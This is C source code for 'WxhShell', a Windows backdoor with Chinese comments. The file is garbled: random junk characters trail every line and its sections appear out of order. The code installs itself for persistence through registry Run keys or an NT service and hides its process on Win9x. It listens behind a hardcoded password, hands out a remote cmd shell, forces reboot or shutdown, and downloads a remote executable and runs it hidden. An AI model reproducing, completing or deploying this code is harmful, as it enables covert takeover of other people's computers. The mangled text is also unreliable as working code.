    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); qChPT:a  
    if(Boot(SHUTDOWN)) CP^^ct-C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j<?4N*S  
    else { ABGL9;.8  
    closesocket(wsh); ZVU)@[s  
    ExitThread(0); li^E$9oWC  
    } wE2?/wb  
    break; ,fFJSY^  
    } *CSFkWVa  
  // 获取shell GssoT<Y)Z  
  case 's': { zv@o- R$l  
    CmdShell(wsh); VZR6oia  
    closesocket(wsh); !>j- j  
    ExitThread(0); n\U6oJN  
    break; r$zXb9a|<  
  } E;0"1 P|S  
  // 退出 rt z(Jt{<  
  case 'x': { F$C:4c  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); '"a8<7  
    CloseIt(wsh);  tvILLR  
    break; a8TE  
    } eO#)QoHj^  
  // 离开 a3[aXe  
  case 'q': { '/?&Gol-  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #D8)rs.9  
    closesocket(wsh); )DMbO"7  
    WSACleanup(); ><HXd+- sd  
    exit(1); _qfdk@@g  
    break; =6:Iv"<  
        } bfgLU.1I  
  } LBR_Q0EP  
  } 5E}i<}sq5  
5/<Y,eZ/  
  // 提示信息 0)#I5tEre  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); B}.ia_&DLR  
} HAXx`r<  
  } FMiYZ1^r  
wqsnyP/m  
  return; WJWhx4Hk  
} Lm/^ 8V+  
h/ic-iH(>  
// shell模块句柄 %' Fc%3  
int CmdShell(SOCKET sock) :tMWy m  
{ ;Lx5r=<Hx  
STARTUPINFO si; ;F5%X\ t-  
ZeroMemory(&si,sizeof(si)); 6}0#({s:R  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; WqAP'x 1  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Bvwk6NBN  
PROCESS_INFORMATION ProcessInfo; E#OKeMK  
char cmdline[]="cmd"; Z1zC@z4sUj  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); I| hG"i  
  return 0; =`")\?z}  
} 42~;/4  
hLF@'ln  
// 自身启动模式 F6 Ixu_s  
int StartFromService(void) .u)YZN0\  
{ 5UqCRz<,R  
typedef struct Z|.. hZG  
{ y g7z?AZ  
  DWORD ExitStatus; =y ff.3mW\  
  DWORD PebBaseAddress; 99x]DY  
  DWORD AffinityMask; <K~#@.^`  
  DWORD BasePriority; |<S9nZg%p  
  ULONG UniqueProcessId; (fl2?d5+C  
  ULONG InheritedFromUniqueProcessId; rmhB!Lo  
}   PROCESS_BASIC_INFORMATION; ;X>KP,/r$  
u:k#1Nn!  
PROCNTQSIP NtQueryInformationProcess; Ty5\zxC|  
i^(0,L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; XyhdsH5%3!  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; wTLHg2'y^  
`S2=LJ  
  HANDLE             hProcess; 'RhMzPmY>  
  PROCESS_BASIC_INFORMATION pbi; SU1, +7"  
7@ZL(G  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /3fo=7G6  
  if(NULL == hInst ) return 0; *E>YLkg]  
[Gu]p&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); =i.[|g"  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); GlaWBF#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); '#XP:nqFkK  
&*0V!+#6  
  if (!NtQueryInformationProcess) return 0; WWY9U  
SYyH_0N  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); G[jCmkK  
  if(!hProcess) return 0; hFKYRZtP.8  
$`i&\O2*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; @$aCUJ/mE  
6w54+n  
  CloseHandle(hProcess); SFuzH)+VO  
E~24b0<7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X|b~,X%N  
if(hProcess==NULL) return 0; FT=w`NE,+  
StE4n0V  
HMODULE hMod; UJQ!~g.y]  
char procName[255]; n1v%S"^  
unsigned long cbNeeded;  ,}bC  
7oUYRqd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w>#~_x, `  
?qdG)jo=  
  CloseHandle(hProcess); ]wP)!UZ  
7eY*Y"GX  
if(strstr(procName,"services")) return 1; // 以服务启动 >_R5Li  
(FBKP#x)^  
  return 0; // 注册表启动 7Y_S%B:F  
} _M 7AQ5  
Lz4iLLP  
// 主模块 HYtkSsXLN  
int StartWxhshell(LPSTR lpCmdLine) 9nB:=`T9  
{ J,k{Bm  
  SOCKET wsl; 1w35 H9\g  
BOOL val=TRUE; ,cS|fG  
  int port=0; >XA#/K  
  struct sockaddr_in door; . a~J.0co  
sLCL\dWT  
  if(wscfg.ws_autoins) Install(); XI pXP,Yy  
#T+%$q [:  
port=atoi(lpCmdLine); iNha<iS+  
<^M`U>   
if(port<=0) port=wscfg.ws_port; 1Azigd0%  
l( "_JI  
  WSADATA data; h!$W^Tm2g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; )wAqaG_d  
x3]es"4Q  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   aRR*<dY  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); zK33.HY  
  door.sin_family = AF_INET; ~v2_vEu}JX  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D=e&"V a  
  door.sin_port = htons(port); TfMuQi'>  
WJ=^r@Sf  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NoV2<m$  
closesocket(wsl); 4"0`J  
return 1; poeKY[].  
} 6kHAoERp  
iN_G|w[d  
  if(listen(wsl,2) == INVALID_SOCKET) { !J.qH%S5   
closesocket(wsl); o XA*K.X<  
return 1; U$qSMkj6RK  
} 7kHEY5s "  
  Wxhshell(wsl); B;L~ hM  
  WSACleanup(); Uq7 y4zJ  
+ 6O5hZ  
return 0; 'a*tee ^RS  
[CJ&Yz Ji  
} 0IxXhu6v  
@2]_jW  
// 以NT服务方式启动  z>hA1*Ti  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S's\M5  
{ 7\eN 8+  
DWORD   status = 0; -k= 02?0p+  
  DWORD   specificError = 0xfffffff; Ly lw('zZ  
C;M.dd  
  serviceStatus.dwServiceType     = SERVICE_WIN32; nxCwg>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; rk{DrbRx  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 2?#IwT'  
  serviceStatus.dwWin32ExitCode     = 0; nJlrBf_Kj  
  serviceStatus.dwServiceSpecificExitCode = 0; rE EWCt  
  serviceStatus.dwCheckPoint       = 0; AW1691Q  
  serviceStatus.dwWaitHint       = 0; /wVrr%SN  
?$v#;n?@I  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); h`,dg%J*B  
  if (hServiceStatusHandle==0) return; 3S ,D~L^  
NFv9%$l-  
status = GetLastError(); ]_@5LvI  
  if (status!=NO_ERROR) W& w -yZ  
{ l}># p'$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Y;4nIWe JL  
    serviceStatus.dwCheckPoint       = 0; O:WFh;c  
    serviceStatus.dwWaitHint       = 0; ,vl][MhM  
    serviceStatus.dwWin32ExitCode     = status; \XD&0inv  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ag^Cb'3X  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Yu`b[]W  
    return; t L}i%7  
  } Y&'Bl$`  
+2 !F6"hP  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Tt<Ry'Z$3  
  serviceStatus.dwCheckPoint       = 0; :VX?j 3qW  
  serviceStatus.dwWaitHint       = 0; QD-#sU]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ({87311%  
} 7FMO' 'x  
aHvTbpJ  
// 处理NT服务事件,比如:启动、停止 d#T~xGqz  
VOID WINAPI NTServiceHandler(DWORD fdwControl) KpA iKe  
{ 7g[T#B'/x,  
switch(fdwControl) F_$eu-y  
{ MPhO#;v  
case SERVICE_CONTROL_STOP: !O~EIz  
  serviceStatus.dwWin32ExitCode = 0; y4^6I$M7V  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !inonR  
  serviceStatus.dwCheckPoint   = 0; :Em[> XA  
  serviceStatus.dwWaitHint     = 0; Ni7~ Mjjt  
  { 9K-=2hvv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;<O Iu&,*  
  } HNu/b)-Rb  
  return; <p;cR` %uE  
case SERVICE_CONTROL_PAUSE: [/.o>R#J(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 9X/c%:)\=  
  break; uW },I6g  
case SERVICE_CONTROL_CONTINUE: T1.`*,t)=  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :''^a  
  break; Y<0 [_+(  
case SERVICE_CONTROL_INTERROGATE: # XE`8$  
  break; VQI  
}; 9 N[k ?kUZ  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); c$ya{]a  
} `}Ssc-A  
RoFy2A=_  
// 标准应用程序主函数 }J$Q  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) x'tYf^Va28  
{ n$i}r\ so  
bX23F?  
// 获取操作系统版本 \#Ez["mD  
OsIsNt=GetOsVer(); sS7r)HV&GI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]{;=<t6  
?{ns1nW:  
  // 从命令行安装 I'%vN^e^  
  if(strpbrk(lpCmdLine,"iI")) Install(); qc;9{$?xV  
tQ=M=BPZ  
  // 下载执行文件 rf?Q# KM\W  
if(wscfg.ws_downexe) { f^\qDvPur  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) jr29+>  
  WinExec(wscfg.ws_filenam,SW_HIDE); /"Ws3.p  
} q^ lx03   
#0V$KC*>  
if(!OsIsNt) { q|xJ)[AO  
// 如果时win9x,隐藏进程并且设置为注册表启动 A6v<+`?  
HideProc(); o[pv.:w  
StartWxhshell(lpCmdLine); {p@uH<)  
} ve;#o<  
else a/Z >-   
  if(StartFromService()) !B_i~Rmg  
  // 以服务方式启动 8DHohhN  
  StartServiceCtrlDispatcher(DispatchTable); +dIDFSd  
else ('BFy>@  
  // 普通方式启动 OLp;eb1g  
  StartWxhshell(lpCmdLine); J-yj&2  
{U/a h2*  
return 0; 0 UdAF  
} b.V\E Ok  
1D159NLB  
3}V`]B#a  
X;25G  
=========================================== 4 qMO@E_  
IMjz#|c  
#Ux*":  
GAG=4 g  
OW!cydA-  
SUwSZ@l^|  
" (:v|(Gn/  
Qvo(2(  
#include <stdio.h> O&h3=?O&B  
#include <string.h> "e4;xU-  
#include <windows.h> t-7^deG'/n  
#include <winsock2.h> +s?0yH-%p  
#include <winsvc.h> _' KJ:3e  
#include <urlmon.h> /3`#ldb%}  
FrXFm+8 F  
#pragma comment (lib, "Ws2_32.lib") ;T6{J[ h  
#pragma comment (lib, "urlmon.lib") U"\$k&  
)pELCk  
#define MAX_USER   100 // 最大客户端连接数 6apK]PT  
#define BUF_SOCK   200 // sock buffer )*< =:  
#define KEY_BUFF   255 // 输入 buffer M| r6"~i  
el GP2x#:  
#define REBOOT     0   // 重启 g_'F(An  
#define SHUTDOWN   1   // 关机 T 1'8<pJ^  
p4mlS  
#define DEF_PORT   5000 // 监听端口 J?4aSssE  
Ws2SD6!4`  
#define REG_LEN     16   // 注册表键长度 !}%,rtI  
#define SVC_LEN     80   // NT服务名长度 ,9jq @_  
sDNV_} h  
// 从dll定义API *j9{+yO{ZE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); FgA'X<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); )c~1s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); <k'JhMwN  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 44;ZX$HL  
yO}RkRA  
// wxhshell配置信息 X]up5tk~  
struct WSCFG { ukM11LD5x  
  int ws_port;         // 监听端口 ;:(kVdb  
  char ws_passstr[REG_LEN]; // 口令 5m2`$y-nb  
  int ws_autoins;       // 安装标记, 1=yes 0=no fT)u`voE,  
  char ws_regname[REG_LEN]; // 注册表键名 Th1/Bxb:  
  char ws_svcname[REG_LEN]; // 服务名 LvP{"K;   
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Z(g9rz']0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 FnkB z5D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 2(SK}<X  
int ws_downexe;       // 下载执行标记, 1=yes 0=no MR8\'0]  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" z@@w?>*  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Lbb{z  
K5X,J/n  
}; O7r<6(q(  
9[.vtk\iyH  
// default Wxhshell configuration a3}#lY):  
struct WSCFG wscfg={DEF_PORT, GMc{g  
    "xuhuanlingzhe", |.kYomJ   
    1, Hj&mwn]  
    "Wxhshell", pPr/r& r  
    "Wxhshell", 8j~:p!@  
            "WxhShell Service", +)8,$1[p|  
    "Wrsky Windows CmdShell Service", jY^wqQls  
    "Please Input Your Password: ", 88c-K{} 3  
  1, 2 de[ yz  
  "http://www.wrsky.com/wxhshell.exe", 3a#X:?  
  "Wxhshell.exe" fwvPh&U&  
    }; &n:3n  
r2:n wlG  
// 消息定义模块 Ec !fx\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; GS),rNBur  
char *msg_ws_prompt="\n\r? for help\n\r#>"; > Y7nq\  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BLc&q)  
char *msg_ws_ext="\n\rExit."; GL4-v[]6I  
char *msg_ws_end="\n\rQuit."; a`SQcNBf*  
char *msg_ws_boot="\n\rReboot..."; S 6e<2G=O  
char *msg_ws_poff="\n\rShutdown..."; Z.9 ?u;  
char *msg_ws_down="\n\rSave to "; aDJ\%  
lgR;V]^YX  
char *msg_ws_err="\n\rErr!"; }` &an$Mu  
char *msg_ws_ok="\n\rOK!"; wPhN_XV  
,SEC~)L  
char ExeFile[MAX_PATH]; G/Ll4 :  
int nUser = 0; Rx';P/F0C  
HANDLE handles[MAX_USER]; R7'a/  
int OsIsNt; Vp3r  
"YIrqk  
SERVICE_STATUS       serviceStatus; \;"$Z 9W  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Bvbv~7g (  
i1ph{;C  
// 函数声明 &V. ps1  
int Install(void); F_8 < tA6  
int Uninstall(void); .}KY*y  
int DownloadFile(char *sURL, SOCKET wsh); 8J60+2Wa  
int Boot(int flag); #ma#oWqF}  
void HideProc(void); +h!OdWD9  
int GetOsVer(void); jVh I`F{n  
int Wxhshell(SOCKET wsl); {/f\lS.5g  
void TalkWithClient(void *cs); FmU>q)  
int CmdShell(SOCKET sock); 8u+FWbOl]  
int StartFromService(void); B o@B9/ABv  
int StartWxhshell(LPSTR lpCmdLine); }1EfyR  
UzLe#3MU  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); hAHZN^x&  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); X^L)5n+$X  
z$'_ =9yZ  
// 数据结构和表定义 ZY%]F,Y  
SERVICE_TABLE_ENTRY DispatchTable[] = ,,*i!%Adw  
{ 4]\ f}  
{wscfg.ws_svcname, NTServiceMain}, T<!&6,N A  
{NULL, NULL} [c6I/U=-  
}; yc|j]?  
eUiJl6^x  
// 自我安装 )ZkQWiP-  
int Install(void) [" '0vQ  
{ M,0@@:  
  char svExeFile[MAX_PATH]; $@8$_g|Wz  
  HKEY key; Ift @/A  
  strcpy(svExeFile,ExeFile); YXD6GJWo  
3$YgGum  
// 如果是win9x系统,修改注册表设为自启动 caA>; +aBH  
if(!OsIsNt) { tx-HY<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SoS GQ&k  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); P%Fkd3e+  
  RegCloseKey(key); o)NQE?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x50,4J%J'r  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); WdXi  
  RegCloseKey(key); KH4 5A'o  
  return 0; {~=Edf  
    } 8"2 Y$*)(  
  } kYxb@Zn=|  
} ?t LJe  
else { [UJC/GtjS  
kNX"Vo]1  
// 如果是NT以上系统,安装为系统服务 +8+@Az[e0  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5l"EQ9  
if (schSCManager!=0) vR m.# +Td  
{ \ Y[  
  SC_HANDLE schService = CreateService Mx,QgYSu  
  ( } $:uN  
  schSCManager, FU-YI"  
  wscfg.ws_svcname, *&VH!K#@{  
  wscfg.ws_svcdisp, u(ep$>[F#_  
  SERVICE_ALL_ACCESS, ]lj,GD)c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , -eKi}e  
  SERVICE_AUTO_START, FI,>v`  
  SERVICE_ERROR_NORMAL, *Vk%"rwaG  
  svExeFile, xFZA1 8  
  NULL, ~GL"s6C$`;  
  NULL, xA;o3Or  
  NULL, aL\vQ(1zO  
  NULL, 8nOMyNpy~M  
  NULL ,Y~{RgG  
  ); np|3 os  
  if (schService!=0) r3a$n$Qw  
  { 4@6!E^  
  CloseServiceHandle(schService); *%JncK '  
  CloseServiceHandle(schSCManager); 2#z6=M~A  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Y 9rW_m@B  
  strcat(svExeFile,wscfg.ws_svcname); lWj|7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { LM:|Kydp3  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K/;FP'.  
  RegCloseKey(key); -!E))|A  
  return 0; g?V>+oMx  
    } nBs%k!RR  
  } r3X|*/  
  CloseServiceHandle(schSCManager); as\6XW$;Q  
} W@NM~+)e  
} x\ieWF1  
u|m>h(O  
return 1; [n/'JeG5  
} 19od# d3+  
?haN ;n6'  
// 自我卸载 Y40Hcc+Fx  
int Uninstall(void) +^% y&8e  
{ 4&r+K`C0  
  HKEY key; 0T,Qn{  
Kp") %p#  
if(!OsIsNt) { H\A!oB,sw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { &IGTCTBP  
  RegDeleteValue(key,wscfg.ws_regname); jg8j>" Vj>  
  RegCloseKey(key); 7Mxw0 J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _RG!lmJV  
  RegDeleteValue(key,wscfg.ws_regname); G%N/]]ll  
  RegCloseKey(key); B9`^JYT<  
  return 0; =|IB=  
  } h?wNmLre  
} fI"q/+  
} @vWC "W  
else { *0ZL@Kw  
M/GQQG;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); olPV"<;+pO  
if (schSCManager!=0) `+17 x<N  
{ S -j<O&h~C  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); .uzg2Kd_  
  if (schService!=0) ]_NN,m>z  
  { "oZ]/(  
  if(DeleteService(schService)!=0) { %FnaS u  
  CloseServiceHandle(schService); m%ZJp7C  
  CloseServiceHandle(schSCManager); J_tj9+r^  
  return 0; D*+uH;ws  
  } " @!z+x[8  
  CloseServiceHandle(schService); XHu Y'\;-  
  } g ]|K@sm  
  CloseServiceHandle(schSCManager); j""I,$t  
} )5Yv7x(K  
} Z5juyzj  
7sECbbJT  
return 1; 5Cxh >,k  
} =ECw'  
WjZJQK  
// 从指定url下载文件 CC 1\0$ /  
int DownloadFile(char *sURL, SOCKET wsh) BCB"& :}  
{ zAEq)9Y"l'  
  HRESULT hr; SdhdXVZ  
char seps[]= "/"; 9"_JiX~3  
char *token; Ws?BAfP  
char *file; $,ev <4I&  
char myURL[MAX_PATH]; {GDMix  
char myFILE[MAX_PATH]; A#~"Gp  
zmkqqiDp_  
strcpy(myURL,sURL); v(^{ P  
  token=strtok(myURL,seps); U JG)-x  
  while(token!=NULL) Pxu!,Mi[d  
  { xZjl_ b J  
    file=token; 7|3Qcn7P)@  
  token=strtok(NULL,seps); wsp&U .z  
  } xN wKTIK$  
p D!IB`cA4  
GetCurrentDirectory(MAX_PATH,myFILE); IdTeue  
strcat(myFILE, "\\"); 4kGA`XhS*  
strcat(myFILE, file); n k]tq3.[  
  send(wsh,myFILE,strlen(myFILE),0); nd 'K4q  
send(wsh,"...",3,0); 2V(ye9  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); LLv~yS O  
  if(hr==S_OK) :kSA^w8  
return 0; |M|'S~z  
else !!&H'XEJV  
return 1; Ggy_ Ctu  
(gBP`*2  
} r,=xI` XH  
Tz.!  
// 系统电源模块 :)}iWKAse  
int Boot(int flag) u2K{3+r`'  
{ k$kq|  
  HANDLE hToken; {snLiCl  
  TOKEN_PRIVILEGES tkp; KquHc-fzqr  
x.ZV<tDi7  
  if(OsIsNt) { tr"iluwGc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @K36?d]e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); kRNr`yfN  
    tkp.PrivilegeCount = 1; X5U.8qI3  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; L>$yslH; b  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); #(3w6 l2  
if(flag==REBOOT) { & Sy0Of  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) rb%P30qc4  
  return 0; +U&aK dQs  
} / 3:R{9S%  
else { Gxv@a   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) F.c`0u;=  
  return 0; bTZ/$7pp9  
} M $#zvcp  
  } i+T#z  
  else { G T#hqt'1x  
if(flag==REBOOT) { ,(Fo%.j  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) NylN-X7[#  
  return 0; /s& xI  
} QlI g'B6  
else { p3I{  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) )0`;leli  
  return 0;  =IV_yor  
}  ])}{GW  
} 9'3%%o  
w[\*\'Vm0  
return 1; wl^bvHG  
} 4XK*sR0-`  
Cl[ '6Lk  
// win9x进程隐藏模块 o!L1Qrh  
void HideProc(void) `;WiTE)&)  
{ Z `O.JE  
/%}+FMj  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 3B/ GcltfM  
  if ( hKernel != NULL ) QE}S5#_"  
  { /,$;xt-J35  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); gbwKT`N*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); X;flA*6V  
    FreeLibrary(hKernel); /pgfa-<  
  } GdEkA  
<ro0}%-z>M  
return; qc~6F'?R  
} 85Q2c   
KL# F5\ E  
// 获取操作系统版本 53P\OG^G`  
int GetOsVer(void) Q6Y1Jr">X  
{ ZgF-.(GV  
  OSVERSIONINFO winfo; _1hc^j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9>u2; 'Ls  
  GetVersionEx(&winfo); &#v^y 3r  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A=!&2(  
  return 1; "C.'_H!Ex  
  else CCfuz&  
  return 0; z*ZEw  
} 2\l7=9 ]\3  
pl Ii  
// 客户端句柄模块 K CJ zE>  
int Wxhshell(SOCKET wsl) 1qbd6D|t  
{ (7`goi7M  
  SOCKET wsh; 'IBs/9=ZC  
  struct sockaddr_in client; Dk|S`3  
  DWORD myID; (~xFd^W9o  
&>0=v  
  while(nUser<MAX_USER) 5^cPG" 4@  
{ 'x<gC"0A  
  int nSize=sizeof(client); X'.}#R1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !1+L0,I6  
  if(wsh==INVALID_SOCKET) return 1; D/:~# )  
Z!G_" 3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); " jn@S-  
if(handles[nUser]==0) 7oA$aJQ  
  closesocket(wsh); "UKX~}8T  
else n|lXBCY7K  
  nUser++; h'^7xDw  
  } 2/=CrK  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); )`F? {Sg  
#Bj{ 4OeV  
  return 0; LdR}v%EH  
} *ntq;]  
4Cke(G  
// 关闭 socket ~cy/\/oO  
void CloseIt(SOCKET wsh) WRZi^B8 @  
{ `GC7o DL  
closesocket(wsh); ir qlU  
nUser--; J)A1`(x&T  
ExitThread(0); 'e02rqip{  
} HKv:)h{ ?  
QW6F24  
// 客户端请求句柄 dr^pzM!N  
void TalkWithClient(void *cs) dm,7OQ  
{ ,$Qa]UN5Q  
QX ishHk&  
  SOCKET wsh=(SOCKET)cs; v3Tr6[9  
  char pwd[SVC_LEN]; J6Hw05%0=  
  char cmd[KEY_BUFF]; . l RW  
char chr[1]; ] M "{=z  
int i,j; ?'CIt5n+\{  
pA"x4\s   
  while (nUser < MAX_USER) { |4YDvDEJi  
:N\*;>  
if(wscfg.ws_passstr) { !cE>L~cza  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); kLR4?tX!  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); "uN JQ0Y  
  //ZeroMemory(pwd,KEY_BUFF); LT!B]y  
      i=0; qWKpnofa  
  while(i<SVC_LEN) { v~q2D"  
Ge@./SGT  
  // 设置超时 d{hb gUSj  
  fd_set FdRead; D#x D-c  
  struct timeval TimeOut; -Vn9YeH+  
  FD_ZERO(&FdRead); Dk&cIZ43  
  FD_SET(wsh,&FdRead); );@Dr!H  
  TimeOut.tv_sec=8; E:4`x_~qQ  
  TimeOut.tv_usec=0; uTA /E9OY  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); F)j-D(c4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Fj"g CBaR  
Y4 ){{bEp  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A|CW4f,  
  pwd=chr[0]; 5xwztcR-  
  if(chr[0]==0xd || chr[0]==0xa) { Vky~yTL)\  
  pwd=0; UMm<HQ  
  break; 3qiE#+dC  
  } a-4'jT:  
  i++; _xI'p6C  
    } qw&Wfk\}  
{CR~G2Z  
  // 如果是非法用户,关闭 socket BZQ98"Fz*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,G e7 9(  
} cn v4!c0  
gH Q[D|zu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); djS?$WBpU  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b(_PCVC  
699z@>$}  
while(1) { /'QNlP[L;  
enj Ti5X  
  ZeroMemory(cmd,KEY_BUFF); rhMsZ={M  
IQMk:  
      // 自动支持客户端 telnet标准   A@j;H|  
  j=0; T_\HU*\  
  while(j<KEY_BUFF) { N)lzX X  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); w}G2m)(  
  cmd[j]=chr[0]; 6%JKY+n^  
  if(chr[0]==0xa || chr[0]==0xd) { (Z=ziopDE  
  cmd[j]=0; M]!R}<]{  
  break; as)2ny!u  
  } {0q;:7Bt  
  j++; 49bzHEqZ  
    } p H5IBIf'  
S+R<wv ,6  
  // 下载文件 vpFN{UfD  
  if(strstr(cmd,"http://")) { j,80EhZ  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ow wH 45  
  if(DownloadFile(cmd,wsh)) \bCm]w R  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); }5RfY| ;  
  else i^ G/)bq  
